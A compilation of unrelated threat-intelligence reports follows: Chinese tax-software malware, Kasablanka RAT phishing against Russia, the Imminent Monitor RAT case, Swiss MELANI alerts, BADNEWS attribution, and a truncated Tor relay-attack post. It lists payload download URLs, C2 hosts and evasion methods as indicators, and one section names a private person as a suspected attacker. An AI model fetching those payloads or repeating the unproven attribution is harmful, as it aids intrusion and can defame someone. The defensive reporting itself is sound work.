The scope of this campaign is not currently known. For our client, GoldenSpy was secretly embedded within the Aisino Intelligent Tax software, but we cannot determine if this was targeted because of their access to vital data, or if this campaign impacts every company doing business in China. We have identified similar activity at a global financial institution, but do not yet have further telemetry into this campaign.
The current GoldenSpy campaign began in April of 2020; however, our cyber threat intel analysts have discovered variations of GoldenSpy that date back to December of 2016. It is of interest that Chenkuo Technology’s website announced a partnership with Aisino in October of 2016, two months prior to the original emergence of the GoldenSpy malware family. Their partnership is for “big data cooperation”. GoldenSpy certainly could enable big data access and collection. Trustwave SpiderLabs has no current knowledge if GoldenSpy was active in the wild since 2016; our first identification of usage was April 2020. To be clear, we do not yet know the scope, purpose, or actors behind the threat. We do not know whether Chenkuo Technology or Aisino are active and/or willing participants or the extent of their involvement other than what is presented in the report.
## Recommendations
We believe that every corporation operating in China or using the Aisino Intelligent Tax Software should consider this incident a potential threat and should engage in threat hunting, containment, and remediation countermeasures, as outlined in our technical report.
Trustwave SpiderLabs is still actively investigating and seeking out more telemetry on the GoldenSpy campaign. If you have any information about this activity or feel you may have been victimized by this attack, please reach out to the Trustwave SpiderLabs Threat Fusion Team at [email protected]. We are available for advice, information exchange, or to engage threat hunting / forensic investigation services.
## GoldenSpy Technical Report
Trustwave has prepared a detailed technical report on GoldenSpy that contains:
- Full incident details, including network and file system indicators of compromise (IOC’s)
- Malware reverse engineering analysis reports
- Historical network IOC’s and known GoldenSpy variants
- GoldenSpy threat hunting recommendations, including a custom YARA signature designed to identify unknown GoldenSpy variants
- Remediation recommendations
Aisino Corporation and Nanjing Chenkuo Network Technology were contacted and briefed on these findings, as part of Trustwave's documented vulnerability disclosure process. At the time of publication of this report, neither have responded.
Brian Hussey is Vice President of Cyber Threat Detection & Response at Trustwave. He leads the SpiderLabs Threat Fusion and the Global Threat Operations Teams. Trustwave’s Managed Detection & Response (MDR), Managed Detection (MD), Threat Hunting, Intel, and Investigation services fall under his purview. |
# 奇安信威胁情报中心
## Overview
APT groups often use uncommon file types to host malicious code to increase the probability of immunity against antivirus software, such as CD-ROM image files (.iso) and virtual hard disk files (.vhd). The use of these formats can effectively circumvent the MOTW mechanism (a security measure in which Windows displays a warning message when a user tries to open a file downloaded from the Internet). The effectiveness of the Lazarus group's attack campaign was evident back in November '22 when we disclosed that its attack components using the vhdx format had a detection rate of 0 on VirusTotal.
From September to December 2022, the Kasablanka group is suspected of attacking Russia, targeting entities such as the Russian Federal Government Cooperation Agency and the Ministry of Foreign Communications of the Astrakhan Region. The detection rate of some samples is consistently 0.
The Kasablanka group used a socially engineered phishing email as the entry point for the attack, with a virtual disk image file attached, which nested various next-stage payload executions including lnk files, zip packages, and executables. Initially, the final execution was the commercial Trojan Warzone RAT, but later it changed to Loda RAT.
## Sample Analysis
The captured samples are all virtual disk image files (.vhdx), with decoy names and contents in Russian, uploaded from Russian regions. Some samples use lnk files as downloaders for the next stage payload. Some attack samples package the decoy and Warzone RAT into a zip file in a virtual disk image file, while others disguise the lnk file as a folder to lure victims.
### Links to Download Payloads
| Links | Remarks |
|-----------------------------------------|---------------|
| http://179.60.150.118/new.exe | Warzone RAT |
| http://89.22.233.149/ms7.hta | Unknown |
| http://193.149.129.151/vmsys | Unknown |
| http://45.61.137.32/www.exe | Warzone RAT |
| http://45.61.137.32/svvhost.rar | Loda RAT |
| http://45.61.137.32/Scanned_document.exe| Loda RAT |
### Warzone RAT
Warzone RAT, also known as AveMaria RAT, is a commercial trojan developed in pure C/C++. It has been sold publicly on the internet as a software subscription since 2018 and is compatible with systems below Windows 10. It includes remote desktop, password stealing, keylogging, remote commands, permission elevation, and many other remote control functions. It has been used by several APT groups, including Confucius, Bitter, and Blind Eagle (APT-Q-98).
This captured Warzone RAT establishes a TCP connection to the server hbfyewtuvfbhsbdjhjwebfy.net (193.188.20.163).
#### Remote Control Commands
- Obtain information about the controlled machine
- Get process list information
- Get drive information
- Get directory information
- Retrieve files from the victim device's folder
- Delete the specified file
- End the specified process
- Remote shell
- End the specified thread
- List the victim's camera device information
- Turn on the camera
- Stop the camera
- Get the title of the active program
- Exit and delete own files
- Download files to the controlled end
- Get browser password
- Download and execute the file from the given URL
- Online keylogging
- Offline keylogging
- Install HRDP Manager on the victim's device
- Enable reverse proxy
- Stop reverse proxy
- Start remote VNC
- Shut down remote VNC
- Reverse proxy port settings
- Execute or open the specified file
- Injection into the specified process
- Multiple post-command breakdowns, including shutdown, network test, exit, etc.
### Loda RAT
Loda RAT is a proprietary malware written in AutoIt script language, first captured and disclosed in the wild by Proofpoint in September 2016. The name 'Loda' derives from the malware author's choice of directory to write keylogger logs. Cisco discovered multiple variants of Loda RAT and found that it added spying capabilities to the Android platform. Investigations concluded that the group using the malware was based in Morocco and named the group Kasablanka.
The captured sample was written in C# and obfuscated extensively, making it difficult to decompile. After execution, the sample releases and executes the Loda RAT packaged with AutoIt in the %appdata% directory. The AutoIt script can be restored using the deep analysis function of QiAnXin's Threat Intelligence Center Cloud Sandbox.
Loda RAT first detects antivirus products installed on victim machines through WMI commands, collects information about the victim host, and adds persistence by creating %appdata%\Windata\svshost.exe and a shortcut to svshost.exe in the Windows startup directory. It uploads collected information and takes screenshots, entering a remote control loop with detailed remote control instructions.
#### Remote Control Functions
- Upload and download files
- Execute the specified file
- Shutdown
- Close the specified process
- Steal user cookies and passwords
- Turn on keylogger
- Delete keylogger data
- Download and execute the file from the specified URL
- Get file or directory size
- Allow RDP connections by modifying the registry
- Compressing/uncompressing files
- Copy files or directories
- Enumerate connected drives
- Enumerate hot folder locations
- Detect UAC settings
- Send mouse clicks
- Capture screenshots and send to C2
- Open/close CD trays
- Turn off Windows Firewall
- Send the name of running processes to C2
- Exit, uninstall
- Create a GUI chat window to save the victim/attacker conversation to a file
In the latest version, the Kasablanka group transcoded SQLite3.dll directly to hex, embedding it in the script.
## Association & Attribution
In C2: 193.149.129.151, we trace back to Trojan "systeml.dll," which functions to download WinScp tools to synchronize files with remote computers and set scheduled tasks to persist, making it a potential backdoor. In another C2: 179.60.150.118, we associate two files packaged by Pyinstaller, both of which are downloaders with the same core code.
Some security vendors believe that Loda RAT is exclusive to the Kasablanka group, but since Loda RAT is compiled from AutoIt scripts, 'false flag' activities by other threat actors using the decompiled source code are also possible. The purpose of this attack is mainly for information gathering and espionage, attributed to the Kasablanka group with moderate confidence.
## Summary
The Kasablanka group's operations have targeted Bangladesh, South America, and the United States. The group often uses commercial RATs in its attack activities, reducing development costs and making it difficult to trace attackers’ footprints.
The RedDrip team reminds users not to open links of unknown origin, click on email attachments from unknown sources, run unknown files with exaggerated titles, or install apps from informal sources. Users should back up important files timely and update/install patches.
If you need to run or install an application of unknown origin, you can identify it through the QiAnXin Threat Intelligence File Deep Analysis Platform.
## IOCs
**MD5**
- 4d75d26590116a011cbebb87855f4b4f
- 574e031a4747d5e6315b894f983d3001
- 56d1e9d11a8752e1c06e542e78e9c3e4
- db9f2d7b908755094a2a6caa35ff7509
- 8f52ea222d64bbc4d629ec516d60cbaf
- c3b3cb77fcec534763aa4d3b697c2f8c
- 9ea108e031d29ee21b3f81e503eca87d
- 23d5614fcc7d2c54ed54fb7d5234b079
- 6be3aecc5704c16bf275e17ca8625f46
- e4a678b4aa95607a2eda20a570ffb9e1
- 11ed3f8c1a8fce3794b650bbdf09c265
- 8a548f927ab546efd76eeb78b8df7d4c
- 6d710d1a94445efb0890c8866250958e
- 6b42e4c5aecd592488c4434b47b15fbb
- d82743e8f242b6a548a17543c807b7b0
- 32a0a7fa5893dd8d1038d1d1a9bc277a
- bd5c665187dfb73fc81163c2c03b2ddf
- a07c6e759e51f856c96fc3434b6aa9f8
- 0dcd949983cb49ad360428f464c19a9e
- 87125803f156d15ed3ce2a18fe9da2b8
- 4f7e2f5b0f669599e43463b70fb514ad
- 00b9b126a3ed8609f9c41971155307be
**C2**
- 179.60.150.118
- 45.61.137.32
- 89.22.233.149
- 193.149.129.151
- 193.149.176.254 |
# Imminent Monitor – a RAT Down Under
**By Unit 42**
**December 2, 2019**
**Category:** Malware, Unit 42
**Tags:** Cybercrime, Imminent Monitor, Orcus RAT, RAT, Remote Access Tools
## Overview
The availability of “commodity malware” – malware offered for sale – empowers a large population of criminals, who make up for their lack of technical sophistication with an abundance of malicious intent. Rather than looking just at the malware samples and functionality themselves, we’ve taken an interest in the commodity malware ecosystem; especially into the malware authors who fundamentally empower and profit from it.
Our previous research into commodity Remote Access Tools (RATs) has assisted law enforcement efforts in prosecuting the authors and customers of malware including Orcus, LuminosityLink, and Adwind. Our “SilverTerrier” research into the immensely prevalent West-African financial cybercrime has shown the tremendous popularity of commodity malware empowering the largest financial cybercrime threat at this time, and especially their evolution towards using commodity RATs in their attacks.
One example is of the actors behind the Orcus RAT, which are the subject of recent and ongoing legal action in Canada. This case continues to be prosecuted with vigor. Palo Alto Networks has collected more than 16,000 distinct samples of Orcus RAT since April 2016 through to publishing, and we have observed more than 46,000 unique attacks using this RAT against Palo Alto Networks customers.
We next focused on “Imminent Monitor,” a RAT offered for sale since 2012. In comparison to Orcus RAT, we have more than 65,000 samples of Imminent Monitor, and observed its use in more than 115,000 unique attacks against Palo Alto Networks customers. This total number of samples includes those shared between antivirus vendors, not just those directly detected by Palo Alto Networks customers. However, the observed attacks figure only reflects actual, in-the-wild samples from Palo Alto Networks customers. In most cases, repeated attacks using the same samples and/or blocked by signature detection will not be reflected in this figure, and so the actual total number of attack attempts will be much higher than reflected in this metric. With such prevalence, we had to wonder why the author of this malware has been allowed to continue to profit from this for almost seven years, unchecked.
In order to evaluate the potential of success of legal action against a malware author, some of the first questions we ask are who are they, and where are they? This fundamental intelligence will drive the interest and ability of law enforcement to prosecute and inform researchers to which agency they might refer to this case. In the case of Imminent Monitor, Unit 42’s referral and subsequent, ongoing cooperation helped initiate and drive international law enforcement action to proceed with charging those responsible for the development and management of this malware, their customers, and the disabling of access to their victims.
## Shockwave™’s RAT
In 2012, a developer, “Shockwave™”, registered the domain imminentmethods.info, and in April 2013 started selling his “Imminent Monitor” RAT on online forums and at his site, which later changed to imminentmethods.net. Earlier in 2012, he had offered a Distributed Denial of Service (DDoS) tool, “Shockwave™Booter,” but seemed to drop that project in favor of his new RAT. He proudly claimed “the fastest remote administration tool ever created using new socket technology that has never been used before.”
The Imminent Monitor Client Control Panel offers a clean, easy-to-use interface to build and control Imminent Monitor client malware. As well as the full Remote Desktop access of any RAT, features less noticeable by the victim include:
- File manager
- Process manager
- Window manager
- Clipboard manager
- Registry manager
- Startup manager
- Command prompt
- TCP connection
- Remote webcam monitoring
- Remote microphone monitoring
- Password recovery
Shockwave™ claimed: “We use new methods not used in any rat, the remote desktop has the potential to get around 60 fps, and the cam I have personally gotten 130 with this.” In 2014, Imminent Monitor started supporting third-party plugins. The first of these offered the ability to turn the webcam light off while monitoring. Shockwave™ wrote: “Hey, good job on being the first to release a plugin for Imminent Monitor.” – a plugin with an obviously illegitimate intent.
## The features of a(n il)legitimate Remote Access Tool
As very typical with commodity RATs, the authors attempt to profess innocence and distance themselves from the illegitimate features and intent of their malware:
“We at Imminent Methods are not responsible for the nature in which you use our services. The services sold on this website are for personal, not distributed, use and should only be used on your own machines or the machines of those who have given you expressed consent for remote management. Remember that our tools are made for educational purpose, so we do not take any responsibility for any damage caused by any of our tools or services. Misuse of our tools or services can be very illegal. Certain misuse could cause possible jail time or fines, which differ depending on your local laws.” … “You agree that you will NOT distribute malicious files created with any of our services over the internet with the intent of harming/using machines of innocent people. You agree that if you do by some sort of means connect to a computer without authorization, by means of accident or other ways, that you will use the uninstall feature to completely remove the connection between the two of you and remove the software from their computer.” [Sic]
However, Shockwave™’s first-party comments online belie this claim:
“The keylogger: The logs are hidden, and encrypted, fast transfer of the logs as well, with progress indicating how much of the log is downloaded”…
“The crypter: The crypter is really just a bonus feature, not always FUD but I try and do my best to keep it FUD.” [Sic]
Legitimate remote access tools don’t need to hide and encrypt their logs. A crypter, allowing a “Fully UnDetectable” (FUD) client, only has one purpose: to attempt to evade antivirus detection. Later versions include “protection” to help avoid detection/removal.
The most recent sales page for Imminent Monitor continued to profess legitimacy. However, features remain that lend utility rather to illegitimate use, hiding the client and maintaining persistence.
Shockwave™ promotes the RAT’s “protection” features:
- **File Integration:** The File Integration feature will delete the Imminent Monitor Client from its execution directory and move it into its “Client Startup” directory.
- **Set File Properties to “Hidden”:** Does what it says, marks the Client as hidden.
- **Disable Taskmanager:** Disables Windows Task Manager.
- **Process Security Flag & Critical Process Flag:** Both of these functions are currently deprecated as the “Process Watcher” feature replaces them.
- **Process Watcher:** The Process Watcher feature spawns a separate daemon to watch the main Imminent Monitor Client in case the client ever crashes or gets closed.
More recent versions offer what the author terms “HRDP” – Hidden Remote Desktop Protocol – offering a non-interactive remote desktop connection, hidden from the victim. Version 3 of Imminent Monitor introduced the ability to run a cryptocurrency miner on the victim machine – hardly the feature of a legitimate remote access tool.
But, in the end, it will be the courts who will determine legitimacy and intent of the malware author, and also their customers. Imminent Monitor was originally licensed to each customer for a $25 fee. Six years later, the price has remained static, though new multi-license options are also offered.
## Who is Shockwave?
In order to identify actors behind such operations as Imminent Monitor, it’s important to be thorough with analysis and intelligence collection. The actor will typically attempt to hide or obfuscate their identity. The research will not only aim to directly identify a specific individual but also help to build a corroborative identity picture, increasing confidence in any analysis.
Infrastructure research did not lead us to any identifying information, though we do notice a definite preference for Australian hosting early on. Forum profiles for Shockwave™ and Imminentmethods included a common profile photo, a panda-headed business-suited avatar.
The Twitter account “imminentmethods” includes a location of “Queensland, Australia”. A Google+ account for [email protected] had the same Panda avatar, and the name (redacted here for publication) “J████”. A deviantart.com profile for user “ViridianX” had the same panda avatar, a link to imminentmethods.info, location Australia, and the same name “J████” again. This handle was corroborated in a forum post: “Also, I have noticed I have been getting imitated on various websites lately my only Accounts are: shockwave.hf ViridianX [Justin.tv]”.
A Paypal purchase from imminentmethods.net gave a merchant name “DictumFox”. This appears to be a unique handle. The site, dictumfox.com, previously had the site title “Imminent Methods”. The imminentmethods.net “Contact us” page has an Australian phone number and time zone, and a New South Wales, Australia address which comes back to a small-business services address. A search of the Australian business registry finds a “DictumFox”, with a registered agent at the same address of convenience, with a different, female first name J██████ K███. She was also previously linked to another Australian business, “Imminent Methods”. That business record has a current agent with the same first name as seen in the profiles - J████ - and the same surname as the female associated with the other business registration: K███. Further research with name and location corroboration seems to possibly explain the relationship with Shockwave™-J████, and the “J██████” of the corporate registration, beyond the same surname K███.
## Prosecution
Unit 42 referred the identity and activity of Shockwave™ to the Australian Federal Police (AFP) Cybercrime Operations teams. We have subsequently continued to assist the AFP’s “Operation Cepheus”, together with the United States Federal Bureau of Investigation (FBI), and Canadian Radio-television and Telecommunications Commission, Electronic Commerce Enforcement. The Australian-led investigation, targeting not only those responsible for the development and management of this malware, but also their customers using the malware illicitly, has yielded evidence suggesting in excess of 14,500 customers of this RAT. We most often observe RATs employed illicitly by financially-motivated actors, or for data theft. Interestingly, the AFP’s investigation noted a significant number of Australian users of the software were also respondents to Domestic Violence Orders. It’s unlikely a coincidence that such a tool might be employed against Intimate Partner Violence victims. AFP’s operation also disabled the licensing system of Imminent Monitor, removing users’ access to victims of the software. Unit 42’s research into the infrastructure and customers of Imminent Monitor and other RATs continues to assist law enforcement internationally in prosecuting the individuals behind such illicit activity, demonstrating the effectiveness and potential of international public/private cooperation in combating cybercrime.
## Conclusion
We’ve collected more than 65,000 samples of Imminent Monitor, and seen more than 115,000 attacks against Palo Alto Networks’ customers alone. Not only did the availability of this commodity malware enable each of those attacks, the author profited from the sale of it since 2013. This Remote Access Tool, promoted first-party on hacking forums, includes features that have no purpose in a legitimate tool but rather are designed to hide attacks using it.
With the successful execution of the AFP’s operation, licensed Imminent Monitor builders will no longer be able to produce new client malware nor can the controllers access their victims. Although cracked versions already exist and will continue to circulate, they can’t benefit from bug fixes, feature enhancements, support, or efforts to improve their undetectability. Ironically, these versions often carry malicious payloads, acting as infection vectors to the criminals who would use them, themselves.
Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects Imminent Monitor malware with Wildfire and Traps. AutoFocus users can track this activity using the Imminent Monitor tag. |
# News Archiv
## 30. Halbjahresbericht MELANI zur Problematik von Personendaten im Netz
30.04.2020 - Der 30. Halbjahresbericht der Melde- und Analysestelle Informationssicherung (MELANI) befasst sich mit den wichtigsten Cybervorfällen der zweiten Jahreshälfte 2019 in der Schweiz wie auch international. Schwerpunktthema im aktuellen Bericht bildet der Umgang und die Problematik von Personendaten im Netz.
## MELANI-Halbjahresbericht: Cybersicherheitslage während Corona
29.10.2020 - Der 31. Halbjahresbericht der Melde- und Analysestelle Informationssicherung (MELANI) befasst sich mit den wichtigsten Cybervorfällen der ersten Jahreshälfte 2020 in der Schweiz und international. Im aktuellen Bericht wird als Schwerpunktthema die Corona-Pandemie beleuchtet.
## Update Verschlüsselungs-Trojaner: Neue Vorgehensweise
30.07.2019 – In den vergangenen Wochen wurden Schweizer Unternehmen Ziel einer neuen Art von Angriffen, mit der unbekannte Angreifer Unternehmensnetzwerke erfolgreich infiltrieren und deren Daten mittels einem Verschlüsselungstrojaner grossflächig verschlüsseln. Auch diverse namhafte Schweizer Unternehmen sind von den Angriffen betroffen.
## Verschlüsselungstrojaner greifen vermehrt gezielt Unternehmensnetzwerke an
05.09.2019 - Seit Anfang 2019 häufen sich die Meldungen von KMUs und Grossunternehmen im In- und Ausland, dass deren Daten von Verschlüsselungstrojanern, sogenannter «Ransomware», verschlüsselt und somit unlesbar gemacht wurden. Bei diesen Angriffen wurden teilweise auch die Backups verschlüsselt. Dadurch wird die Wiederherstellung der Geschäftstätigkeit der betroffenen Unternehmen unmöglich.
## E-Banking: Angreifer haben es auf Aktivierungsbriefe abgesehen
17.08.2017 - Ende 2016 hat MELANI in einem Newsletter darauf hingewiesen, dass Kriminelle vermehrt mobile Authentifizierungsmethoden beim E-Banking im Visier haben. Nun gehen die Angreifer einen Schritt weiter und versuchen Opfer dazu zu bringen, eine Kopie des von der Bank erhaltenen Briefes, welcher Aktivierungsdaten für die Zwei-Faktor Authentifizierung (2FA) des E-Bankings enthält, an die Betrüger zu senden.
## Kritische Verwundbarkeit in Microsoft Windows Server (SIGRed)
Am vergangenen Dienstag Abend (14. Juli 2020) hat Microsoft ein Sicherheitsupdate für eine kritische Verwundbarkeit im Windows Domain Namen System (winDNS) veröffentlicht. Microsoft stuft die Verwundbarkeit mit 10.0 Punkte im CVSS (Common Vulnerability Scoring System) ein, was dem Maximum auf der verfügbaren Skala entspricht.
## Warnung vor gefälschten E-Mails im Namen des BAG
14.03.2020 - Seit Freitagmittag (13. März 2020) versuchen Cyberkriminelle die Verunsicherung der Bevölkerung aufgrund der Situation um das Coronavirus auszunutzen. Anhand von E-Mails mit gefälschtem Absender des BAG versuchen sie, Malware zu verbreiten. Die Melde- und Analysestelle Informationssicherung MELANI warnt die Bevölkerung. Diese E-Mails sind umgehend zu löschen.
## Vorsicht: Weiterhin erhöhtes Sicherheitsrisiko durch Ransomware gegen KMUs
19.02.2020 - In den vergangenen Wochen hat MELANI / GovCERT mehr als ein Dutzend Ransomware-Fälle bearbeitet, bei welchen unbekannte Täter die Systeme von Schweizer KMUs und Grossbetrieben verschlüsselt und damit unbrauchbar gemacht haben. Die Angreifer stellten Lösegeldforderungen von mehreren zehntausend Franken, vereinzelt auch von Millionenbeträgen.
## Microsoft stellt für ältere Produkte den Support ein: Gefahr droht
Bern, 16.12.2019 - Gemäss einer Mitteilung von Microsoft werden am 14. Januar 2020 für verschiedene ältere Produkte der Support und somit die Updates eingestellt. Betroffen sind folgende Produkte: Betriebssystem «Windows 7», «Windows Server 2008» und «Windows Server 2008 R2».
## Verschlüsselungstrojaner weiterhin auf dem Vormarsch
29.10.2019 - Der 29. Halbjahresbericht der Melde- und Analysestelle Informationssicherung (MELANI) befasst sich mit den wichtigsten Cybervorfällen der ersten Jahreshälfte 2019 in der Schweiz wie auch international. Im aktuellen Bericht werden als Schwerpunktthema die Cyberangriffe mit Verschlüsselungstrojanern beleuchtet, welche im ersten Halbjahr 2019 weltweit grossen Schaden angerichtet haben.
## Warum das Internet of Things (IoT) einen Strom-Blackout verursachen könnte
IoT-Geräte können in grossem Masse für Cyber-Angriffe missbraucht werden. Erfolgreiche Erpressungsversuche (z.B. «Fake Sextortion») sowie Überweisungsbetrug mit «Office 365»-Zugangsdaten und das Schwergewichtsthema «Umgang mit eingekauften Risiken bei Hard- und Software»: Der am 30. April 2019 veröffentlichte 28. Halbjahresbericht der Melde- und Analysestelle Informationssicherung (MELANI) befasst sich mit den wichtigsten Cyber-Vorfällen der zweiten Jahreshälfte 2018 im In- und Ausland.
## Sextortion: Zahlreiche Schweizerinnen und Schweizer betroffen – Behörden lancieren «www.stop-sextortion.ch»
Erpresser behaupten in einer Mail, Zugang zu Computer und Webcam zu haben und drohen damit, Bilder und Videos mit sexuellem Inhalt zu veröffentlichen, sollte kein Lösegeld bezahlt werden. Diese Betrugsmasche wird Fake-Sextortion genannt und dabei wird typischerweise eine Bezahlung in Bitcoins gefordert. Mit dieser Betrugsmethode haben Kriminelle in den letzten sechs Monaten trotz der kleinen geforderten Summen Bitcoins im Wert von ca. 360'000 CHF erbeutet. Solange die betroffenen E-Mail-Empfänger Lösegeld bezahlen, wird dieses Vorgehen befeuert und weiterhin eingesetzt. Helfen Sie mit, diese Masche zu stoppen und zahlen Sie kein Lösegeld. Auf der Webseite www.stop-sextortion.ch, die von den Behörden heute lanciert wurde, finden Sie Informationen und können Fake-Sextortion E-Mails melden.
## Trojaner Emotet wieder aktiv
Nach mehrmonatigem Unterbruch beobachtetet MELANI erneut verschiedene Malspam-Wellen mit infiziertem Word-Dokumenten im Anhang. Dabei handelt es sich um einen bereits länger bekannten Trojaner namens Emotet (auch bekannt als Heodo). Ursprünglich als E-Banking-Trojaner bekannt, wird Emotet heute vor allem für den Versand von Spam sowie das Nachladen von weiterer Schadsoftware (Malware) verwendet. Emotet versucht - mit gefälschten E-Mails im Namen von Kollegen, Geschäftspartnern oder Bekannten - mittels Social-Engineering den Empfänger zum Öffnen des Word-Dokuments sowie zum Ausführen der darin enthaltenen Office-Makros zu verleiten.
## Wer das gleiche Passwort mehrfach nutzt, hilft den Angreifern
08.11.2018 - Der am 8. November 2018 veröffentlichte 27. Halbjahresbericht der Melde- und Analysestelle Informationssicherung (MELANI) befasst sich mit den wichtigsten Cyber-Vorfällen der ersten Jahreshälfte 2018 im In- und Ausland. Das Schwerpunktthema ist den Lücken in Hardware gewidmet. Im Fokus stehen zudem unter anderem der gezielte Malware-Angriff, für den der Name des Labors Spiez missbraucht worden ist sowie verschiedene Datenabflüsse und die Problematik bei der Mehrfachnutzung eines Passwortes.
## Wieder vermehrt betrügerische Anrufe bei Firmen
05.07.2018 - In den letzten Tagen mehren sich wiederum Anrufe bei potenziellen Opferfirmen, in denen sich Angreifer als Bankmitarbeiter ausgeben. Die Anrufer bitten um die Ausführung von Zahlungen oder geben vor, ein Update beim E-Banking durchführen zu müssen, das anschliessend getestet werden soll. |
# In-Depth Look at New Variant of MONSOON APT Backdoor, Part 2
In part 1 of FortiGuard Labs’ analysis of a new variant of the BADNEWS backdoor, which is actively being used in the MONSOON APT campaign, we did a deep technical analysis of what this backdoor is capable of and how the bad guys control it using the command and control server. In this part of the analysis, we will try to discover who might be behind the distribution of these files.
## Who’s Behind these Malicious Files
In part 1, we discussed that the BADNEWS backdoor is being dropped by a malicious RTF exploiting CVE-2015-1641. Interestingly, these RTF exploits contain an INCLUDEPICTURE field to insert a picture into the document which points to these URLs:
- hxxp://aliandqazi.com/Jobs/
- hxxp://www.tassonedil.it/news/
- hxxp://www.justfood.pk/news/
Curiously, we tried visiting the URL hxxp://www.justfood.pk/news/ from the RTF exploit to see the reply. The URL returns the DOC file, “Senate_panel.doc.” However, the file returned is only 8 bytes long. Interestingly, it contains the next sequence of bytes: “0D 0A 20 20-20 20 20 20”:
- “0D 0A” – is a “\r\n” – standard sequence of bytes for new line.
- “20” – is a spacebar.
There is not much we can tell from the content of this file, but the name of the returning file, “Senate_panel.doc,” is not accidental. This name is closely tied with the file content. Moreover, the initial RTF exploit was submitted on VT with this name. So this is not a coincidence, and the people who crafted the RTF exploit somehow control Justfood.pk.
So let’s now look at the main page of the site. We see that this site was hacked by somebody with the nickname R00T D3STR0Y3R. And it was hacked before the RTF file was uploaded on VT.
As we can see, Justfood.pk was hacked by R00T D3STR0Y3R from the anti-Pakistan group “LulzSec India,” and it happened no later than 2017-02-09. The RTF exploit file was uploaded on VT on 2017-03-06. So there is a good chance that R00T D3STR0Y3R already controlled this site when it was used for attacks with the RTF exploit.
We can’t tell for sure if R00T D3STR0Y3R stands behind the BadNews attacks, or this may just be a coincidence and he merely “defaced” the site that was used by another anti-Pakistan group. But that seems unlikely. However, we think that the legal authorities of India have no need to guess since it is very probable that they can ask R00T D3STR0Y3R in person.
Actually, finding R00T D3STR0Y3R’s real identity was pretty easy and straightforward. First, we found this script on the cxsecurity site. Inside the script, there are credits to “R00T D3STR0Y3R,” along with greetings to “Lulzsec India” and “All Indian Hackers.” There is also a reference to this Facebook page.
We followed the link and… Please welcome Mukund Rajput from the “Dr. Jivraj Mehta Institute Of Technology.” This page claims that Mukund and R00T D3STR0Y3R are the same person. Of course, we can’t tell if this claim is true or not. But we hope that Indian law enforcement agencies try to answer that question.
## Conclusion
BADNEWS backdoor is not a sophisticated piece of malware. In fact, it doesn’t use any new malware techniques at all. It is neither packed nor heavily obfuscated. Its string obfuscation is just simple reversing and minus 1 encryption. But, it uses proven techniques to bypass the HIPS detection used by security programs by piggybacking onto a signed legitimate file, which allows it to deliver its malicious payload. It also proves, once again, that there’s rarely any need to use stealthier or more sophisticated attacks, because simple techniques work.
Bad news though for the bad guys, and good news for our customers, as Fortinet covers detection for the BADNEWS backdoor as W32/Bdnews.A!tr.bdr and the malicious RTF as MSOffice/CVE_2015_1641.A!exploit. C&C URLs were also blocked by Fortinet’s Web Filter.
## IOCs:
**Sha256:**
- bf93ca5f497fc7f38533d37fd4c083523ececc34aa2d3660d81014c0d9091ae3
- 17c3d0fe08e1184c9737144fa065f4530def30d6591e5414a36463609f9aa53a
- 8e0574ebf3dc640ac82987ab6ee2a02fc3dd5eaf4f6b5275272ba887acd15ac0
- 0c63ef29d5a9674a00bb71a150d2ae6f3dc856a43291e79260992f08fdcd53d3
- 722e8909235ae572c7baa522a675ce45ac7e10170be7428de74d04f051f473c9
- f61aa8c6590926533b67467603d2f42cdb1d5e1f20a5439d7e58fdaf81710711
- c9642f44d33e4c990066ce6fa0b0956ff5ace6534b64160004df31b9b690c9cd
**C&C URLs:**
- hxxp://www.webrss.com/createfeed.php?feedid=49321
- hxxp://feed43.com/0414303388550176.xml
- hxxps://r0nald2017.wordpress.com/2017/02/16/my-first-post/
- hxxps://github.com/r0nald2017/project1/blob/master/xml.xml
- r0b1n.crabdance.com
- r0nald.ignorelist.com
- hxxps://musicall12.wordpress.com/29-2/
- hxxp://overthemontains.weebly.com/paragliding-stuff
- hxxps://raw.githubusercontent.com/Zunaid-zunaid1/project11/master/xml.xml
- d0nald1.strangled.net
- d0nald2.strangled.net
- d0nald.strangled.net
- hxxp://feed43.com/5787707581531238.xml
- hxxp://www.webrss.com/createfeed.php?feedid=49297
- hxxps://robins0n12.wordpress.com/2017/01/31/my-biography/
- hxxps://raw.githubusercontent.com/devonkearns/cricket/master/xml.xml
- maxx.crabdance.com
- mu5.ignorelist.com
- hxxp://80.255.3.96/r0g3r/dqvabs.php
- 185.82.217.200/@lb3rt/dqvabs.php
- hxxp://80.255.3.96/max1mu5/dqvabs.php |
# Is “KAX17” Performing De-anonymization Attacks Against Tor Users?
Two years ago in December 2019, I first wrote about a particular and unusual malicious actor on the Tor network. This blog post is about how that actor expanded their visibility into the Tor network during the last two years after their removal by the Tor directory authorities in October 2019 and why this particular actor is more concerning than the usual malicious Tor relay group. The threat landscape on the Tor network motivates the second part, in which we will outline a design and proof of concept implementation to help Tor users defend themselves and significantly reduce their risk of using malicious Tor relays without requiring the identification of malicious relays — a problem that has become impractical to tackle.
## Major Tor Network Threat Actors
To give you a clearer picture of which actor we will be focusing on in this blog post, here is a short overview of the two main actors we have reported about in the past. Let’s also give them code names so it is easier to refer to them.
### Actor “BTCMITM20” Profile
- Active since at least 2020
- Sophistication: amateur level but persistent and large scale
- Operated relay types: exit relays
- (Known) concurrently running relays peak: >350 relays
- (Known) advertised bandwidth capacity peak: 40 Gbit/s
- (Known) exit probability peak: 27%
- Primary motivation: financial profit (by replacing bitcoin addresses in Tor exit traffic)
- Defenses: easy; HSTS preloading for website operators; on Tor clients: ensure HTTPS is used properly.
### Actor “KAX17” Profile
- Active since at least 2017
- Sophistication: non-amateur level and persistent
- Uses large amounts of servers across many (>50) autonomous systems (including non-cheap cloud hosters like Microsoft)
- Operated relay types: mainly non-exit relays (entry guards and middle relays) and to a lesser extent Tor exit relays
- (Known) concurrently running relays peak: >900 relays
- (Known) advertised bandwidth capacity peak: 155 Gbit/s
- (Known) probability to use KAX17 as first hop (guard) peak: 16%
- (Known) probability to use KAX17 as second hop (middle) peak: 35%
- Motivation: unknown; plausible: collection of Tor client and/or onion service IP addresses; deanonymization of Tor users and/or onion services.
We consider it less likely that KAX17 and BTCMITM20 are the same actor, but due to some minor overlap we did not rule out the possibility that there is some limited form of collaboration between these actors yet. The remainder of this blog post is about KAX17 only.
## What Visibility into the Tor Network Did KAX17 Have During the Past 3 Years?
The following graph shows (known) KAX17's network fraction in % of the entire Tor network for each position (first, second and last hop of a Tor circuit) over the past 3 years.
